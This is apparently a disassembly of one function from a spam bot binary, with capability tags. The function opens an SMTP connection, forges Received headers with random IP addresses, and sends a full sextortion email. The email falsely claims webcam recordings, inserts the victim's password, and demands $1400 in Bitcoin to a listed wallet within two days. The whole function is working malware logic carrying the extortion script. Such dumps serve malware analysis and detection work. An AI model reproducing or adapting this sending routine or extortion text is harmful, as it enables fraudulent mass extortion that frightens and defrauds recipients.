Function at 0x401a70
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x758
mov dword [ebp - 8], 0
push 0x40
mov eax, dword [ebp + 8]
push eax
call fcn.00402360
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40232e
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
lea edx, [ebp - 0x18]
push edx
mov eax, dword [ebp - 4]
push eax
call fcn.004010a0
add esp, 8
test eax, eax
je 0x40232e
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xffffffff
je 0x40232e
cmp dword [ebp - 0x1c], 0xffffffff
je 0x40232e
push 0x10
lea ecx, [ebp - 0x18]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x402318
mov dword [ebp - 0x8c], 1
push 4
lea eax, [ebp - 0x8c]
push eax
push 1
push 6
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.WS2_32.dll_setsockopt]
mov dword [ebp - 0x20], 1
cmp dword [ebp - 0x20], 0
je 0x40230c
cmp dword [ebp - 0x20], 8
je 0x40230c
push 0x400
lea edx, [ebp - 0x490]
push edx
mov eax, dword [ebp - 0x1c]
push eax
call fcn.00401160
add esp, 0xc
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 0
jne 0x401b60
jmp 0x40230c
mov ecx, dword [ebp - 0x90]
mov byte [ebp + ecx - 0x490], 0
lea edx, [ebp - 0x490]
push edx
call fcn.004011c0
add esp, 4
test eax, eax
jne 0x401b86
jmp 0x40230c
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x758], eax
mov ecx, dword [ebp - 0x758]
sub ecx, 1
mov dword [ebp - 0x758], ecx
cmp dword [ebp - 0x758], 6
ja case.0x401bb1.1
mov edx, dword [ebp - 0x758]
jmp dword [edx*4 + 0x402338]
push str.ESMTP
lea eax, [ebp - 0x490]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
je 0x401bf0
push 0x409aa0
push str.EHLO__s_r_n
lea ecx, [ebp - 0x490]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [ebp - 0x494], eax
jmp 0x401c10
push 0x409aa0
push str.HELO__s_r_n
lea edx, [ebp - 0x490]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [ebp - 0x494], eax
mov eax, dword [ebp - 0x494]
push eax
lea ecx, [ebp - 0x490]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call fcn.00401120
add esp, 0xc
test eax, eax
jne 0x401c3a
mov dword [ebp - 0x20], 0
jmp case.0x401bb1.1
mov dword [ebp - 0x20], 3
jmp case.0x401bb1.1
lea eax, [ebp - 0x4c8]
push eax
call fcn.004018d0
add esp, 4
push eax
push str._JohnBlue__s_
lea ecx, [ebp - 0x88]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [ebp - 0x88]
push edx
push str.MAIL_FROM:__s_r_n
lea eax, [ebp - 0x490]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [ebp - 0x4cc], eax
mov ecx, dword [ebp - 0x4cc]
push ecx
lea edx, [ebp - 0x490]
push edx
mov eax, dword [ebp - 0x1c]
push eax
call fcn.00401120
add esp, 0xc
test eax, eax
jne 0x401cb7
mov dword [ebp - 0x20], 0
jmp case.0x401bb1.1
mov dword [ebp - 0x20], 4
jmp case.0x401bb1.1
mov ecx, dword [ebp + 8]
push ecx
push str.RCPT_TO:___s__r_n
lea edx, [ebp - 0x490]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [ebp - 0x4d0], eax
mov eax, dword [ebp - 0x4d0]
push eax
lea ecx, [ebp - 0x490]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call fcn.00401120
add esp, 0xc
test eax, eax
jne 0x401d0c
mov dword [ebp - 0x20], 0
jmp case.0x401bb1.1
mov dword [ebp - 0x20], 5
jmp case.0x401bb1.1
push 0xffffffffffffffff
push str.DATA_r_n
mov eax, dword [ebp - 0x1c]
push eax
call fcn.00401120
add esp, 0xc
test eax, eax
jne 0x401d3b
mov dword [ebp - 0x20], 0
jmp case.0x401bb1.1
mov dword [ebp - 0x20], 6
jmp case.0x401bb1.1
lea ecx, [ebp - 0x658]
push ecx
push 5
call fcn.00401320
add esp, 8
push eax
push str._s.com
lea edx, [ebp - 0x538]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 1
lea eax, [ebp - 0x750]
push eax
push 0
call fcn.00401490
add esp, 0xc
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
lea ecx, [ebp - 0x6d0]
push ecx
push 0
call fcn.00401490
add esp, 0xc
lea edx, [ebp - 0x6d0]
push edx
lea eax, [ebp - 0x538]
push eax
call sub.MSVCR90.dll_rand
cdq
mov ecx, 0xfe
idiv ecx
add edx, 1
push edx
call sub.MSVCR90.dll_rand
cdq
mov ecx, 0xfe
idiv ecx
add edx, 1
push edx
call sub.MSVCR90.dll_rand
cdq
mov ecx, 0xfe
idiv ecx
add edx, 1
push edx
call sub.MSVCR90.dll_rand
cdq
mov ecx, 0xd2
idiv ecx
add edx, 1
push edx
lea edx, [ebp - 0x6e8]
push edx
push 7
call fcn.00401390
add esp, 8
push eax
push str.Received:_from__s____d._d._d._d___by__s_with_MailEnable_ESMTP___s_r_n
lea eax, [ebp - 0x490]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x24
mov dword [ebp - 0x754], eax
mov ecx, dword [ebp - 0x754]
push ecx
lea edx, [ebp - 0x490]
push edx
mov eax, dword [ebp - 0x1c]
push eax
call fcn.00401120
add esp, 0xc
test eax, eax
jne 0x401e48
mov dword [ebp - 0x20], 0
jmp case.0x401bb1.1
lea ecx, [ebp - 0x750]
push ecx
lea edx, [ebp - 0x664]
push edx
push 3
call fcn.00401320
add esp, 8
push eax
lea eax, [ebp - 0x6dc]
push eax
push 5
call fcn.00401320
add esp, 8
push eax
push str.Received:__qmail__s_invoked_by_uid__s____s_r_n
lea ecx, [ebp - 0x490]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
mov dword [ebp - 0x754], eax
mov edx, dword [ebp - 0x754]
push edx
lea eax, [ebp - 0x490]
push eax
mov ecx, dword [ebp - 0x1c]
push ecx
call fcn.00401120
add esp, 0xc
test eax, eax
jne 0x401eb8
mov dword [ebp - 0x20], 0
jmp case.0x401bb1.1
lea edx, [ebp - 0x88]
push edx
push str.From:_John_Blue__s_r_n
lea eax, [ebp - 0x490]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [ebp - 0x754], eax
mov ecx, dword [ebp - 0x754]
push ecx
lea edx, [ebp - 0x490]
push edx
mov eax, dword [ebp - 0x1c]
push eax
call fcn.00401120
add esp, 0xc
test eax, eax
jne 0x401f04
mov dword [ebp - 0x20], 0
jmp case.0x401bb1.1
mov ecx, dword [ebp + 8]
push ecx
push str.To:__s_r_n
lea edx, [ebp - 0x490]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [ebp - 0x754], eax
mov eax, dword [ebp - 0x754]
push eax
lea ecx, [ebp - 0x490]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call fcn.00401120
add esp, 0xc
test eax, eax
jne 0x401f4d
mov dword [ebp - 0x20], 0
jmp case.0x401bb1.1
push str.I_RECORDED_YOU_
push str.Subject:__s_r_n
lea eax, [ebp - 0x490]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [ebp - 0x754], eax
mov ecx, dword [ebp - 0x754]
push ecx
lea edx, [ebp - 0x490]
push edx
mov eax, dword [ebp - 0x1c]
push eax
call fcn.00401120
add esp, 0xc
test eax, eax
jne 0x401f97
mov dword [ebp - 0x20], 0
jmp case.0x401bb1.1
lea ecx, [ebp - 0x6d0]
push ecx
push str.Date:__s_r_n
lea edx, [ebp - 0x490]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [ebp - 0x754], eax
mov eax, dword [ebp - 0x754]
push eax
lea ecx, [ebp - 0x490]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call fcn.00401120
add esp, 0xc
test eax, eax
jne 0x401fe3
mov dword [ebp - 0x20], 0
jmp case.0x401bb1.1
lea eax, [ebp - 0x538]
push eax
lea ecx, [ebp - 0x664]
push ecx
push 6
call fcn.00401320
add esp, 8
push eax
lea edx, [ebp - 0x6dc]
push edx
push 6
call fcn.00401320
add esp, 8
push eax
push str.Message_ID:___s._s__s__r_n
lea eax, [ebp - 0x490]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
mov dword [ebp - 0x754], eax
mov ecx, dword [ebp - 0x754]
push ecx
lea edx, [ebp - 0x490]
push edx
mov eax, dword [ebp - 0x1c]
push eax
call fcn.00401120
add esp, 0xc
test eax, eax
jne 0x402053
mov dword [ebp - 0x20], 0
jmp case.0x401bb1.1
push 0xffffffffffffffff
push str.Mime_Version:_1.0_r_n
mov ecx, dword [ebp - 0x1c]
push ecx
call fcn.00401120
add esp, 0xc
test eax, eax
jne 0x402076
mov dword [ebp - 0x20], 0
jmp case.0x401bb1.1
push 0xffffffffffffffff
push str.Content_type:_text_plain__r_n_r_n
mov edx, dword [ebp - 0x1c]
push edx
call fcn.00401120
add esp, 0xc
test eax, eax
jne 0x402099
mov dword [ebp - 0x20], 0
jmp case.0x401bb1.1
push 0x104
push 0
lea eax, [ebp - 0x640]
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
push str.Hi__today_there_are_sadly_some_bad_news_for_you._r_n_r_n
lea ecx, [ebp - 0x640]
push ecx
call sub.MSVCR90.dll_strcpy
add esp, 8
push str.Your_device_was_infected_with_my_private_malware__your_browser_wasnt_updated___patched__in_such_case_its_enough_to_just_visit_some_website_where_my_iframe_is_placed_to_get_automatically_infected__if_you_want_to_find_out_more__Google:_Drive_by_exploit._r_n_r_n
lea edx, [ebp - 0x640]
push edx
call sub.MSVCR90.dll_strcat
add esp, 8
push str.My_malware_gave_me_full_access_to_all_your_accounts__full_control_over_your_device_and_it_also_was_possible_to_spy_on_you_over_your_cam._r_n_r_n
lea eax, [ebp - 0x640]
push eax
call sub.MSVCR90.dll_strcat
add esp, 8
push str.If_you_think_this_is_some_bad_joke__no__I_know_your_password:
lea ecx, [ebp - 0x640]
push ecx
call sub.MSVCR90.dll_strcat
add esp, 8
mov edx, dword [ebp + 0xc]
push edx
lea eax, [ebp - 0x640]
push eax
call sub.MSVCR90.dll_strcat
add esp, 8
push str._r_n_r_n
lea ecx, [ebp - 0x640]
push ecx
call sub.MSVCR90.dll_strcat
add esp, 8
push str.I_collected_all_your_private_data_and_I_RECORDED_YOU__through_your_cam__SATISFYING_YOURSELF__r_n_r_n
lea edx, [ebp - 0x640]
push edx
call sub.MSVCR90.dll_strcat
add esp, 8
push str.After_that_I_removed_my_malware_to_not_leave_any_traces_and_this_email_was_sent_from_some_hacked_server._r_n_r_n
lea eax, [ebp - 0x640]
push eax
call sub.MSVCR90.dll_strcat
add esp, 8
push str.I_can_publish_the_video_of_you_and_all_your_private_data_on_the_whole_web__the_darknet__social_networks__over_email_and_send_everything_to_all_your_contacts._r_n_r_n
lea ecx, [ebp - 0x640]
push ecx
call sub.MSVCR90.dll_strcat
add esp, 8
push str.You_can_stop_me_and_only_I_can_help_you_out_in_this_situation._r_n_r_n
lea edx, [ebp - 0x640]
push edx
call sub.MSVCR90.dll_strcat
add esp, 8
push str.The_only_way_to_stop_me__is_to_pay_exactly__1400_in_Bitcoin__BTC_._r_n_r_n
lea eax, [ebp - 0x640]
push eax
call sub.MSVCR90.dll_strcat
add esp, 8
push str.Its_a_very_good_offer__compared_to_all_that_horrible_shit_that_will_happen_if_I_publish_everything._r_n_r_n
lea ecx, [ebp - 0x640]
push ecx
call sub.MSVCR90.dll_strcat
add esp, 8
push 0xffffffffffffffff
lea edx, [ebp - 0x640]
push edx
mov eax, dword [ebp - 0x1c]
push eax
call fcn.00401120
add esp, 0xc
test eax, eax
jne 0x4021c3
mov dword [ebp - 0x20], 0
jmp case.0x401bb1.1
push 0x104
push 0
lea ecx, [ebp - 0x640]
push ecx
call sub.MSVCR90.dll_memset
add esp, 0xc
push str.You_can_easily_buy_Bitcoin__BTC__here:_www.paxful.com___www.coingate.com___www.coinbase.com___or_check_for_Bitcoin__BTC__ATM_near_you__or_Google_for_other_exchanger._r_n_r_n
lea edx, [ebp - 0x640]
push edx
call sub.MSVCR90.dll_strcpy
add esp, 8
push str.You_can_send_the_Bitcoin__BTC__directly_to_my_wallet__or_install_the_free_software:_Atomicwallet__or:_Exodus_wallet__then_receive_and_send_to_mine._r_n_r_n
lea eax, [ebp - 0x640]
push eax
call sub.MSVCR90.dll_strcat
add esp, 8
push str.My_Bitcoin__BTC__wallet_is:_1CK41adce6KuM3UM2eySnzUyR9SAJnf4wu_r_n_r_n
lea ecx, [ebp - 0x640]
push ecx
call sub.MSVCR90.dll_strcat
add esp, 8
push str.Yes__thats_how_the_wallet___address_looks_like__copy_and_paste_it__its__cAsE_sEnSEtiVE_._r_n_r_n
lea edx, [ebp - 0x640]
push edx
call sub.MSVCR90.dll_strcat
add esp, 8
push str.I_give_you_2_days_time_to_pay._r_n_r_n
lea eax, [ebp - 0x640]
push eax
call sub.MSVCR90.dll_strcat
add esp, 8
push str.As_I_got_access_to_this_email_account__I_will_know_if_this_email_has_already_been_read._r_n_r_n
lea ecx, [ebp - 0x640]
push ecx
call sub.MSVCR90.dll_strcat
add esp, 8
push str.After_receiving_the_payment__I_will_remove_everything_and_you_can_life_your_live_in_peace_like_before__dont_worry__I_keep_my_promise._r_n_r_n
lea edx, [ebp - 0x640]
push edx
call sub.MSVCR90.dll_strcat
add esp, 8
push str.Next_time_make_sure_that_your_device_got_the_newsest_security_updates._r_n_r_n
lea eax, [ebp - 0x640]
push eax
call sub.MSVCR90.dll_strcat
add esp, 8
push str.ClientMailID:
lea ecx, [ebp - 0x640]
push ecx
call sub.MSVCR90.dll_strcat
add esp, 8
lea edx, [ebp - 0x64c]
push edx
push 7
call fcn.00401320
add esp, 8
push eax
lea eax, [ebp - 0x640]
push eax
call sub.MSVCR90.dll_strcat
add esp, 8
push str._r_n._r_n
lea ecx, [ebp - 0x640]
push ecx
call sub.MSVCR90.dll_strcat
add esp, 8
push 0xffffffffffffffff
lea edx, [ebp - 0x640]
push edx
mov eax, dword [ebp - 0x1c]
push eax
call fcn.00401120
add esp, 0xc
test eax, eax
jne 0x4022e4
mov dword [ebp - 0x20], 0
jmp case.0x401bb1.1
mov dword [ebp - 0x20], 7
jmp case.0x401bb1.1
push 0xffffffffffffffff
push str.QUIT
mov ecx, dword [ebp - 0x1c]
push ecx
call fcn.00401120
add esp, 0xc
mov dword [ebp - 0x20], 8
jmp 0x401b20
xor edx, edx
cmp dword [ebp - 0x20], 8
sete dl
mov dword [ebp - 8], edx
push 2
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.WS2_32.dll_shutdown]
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret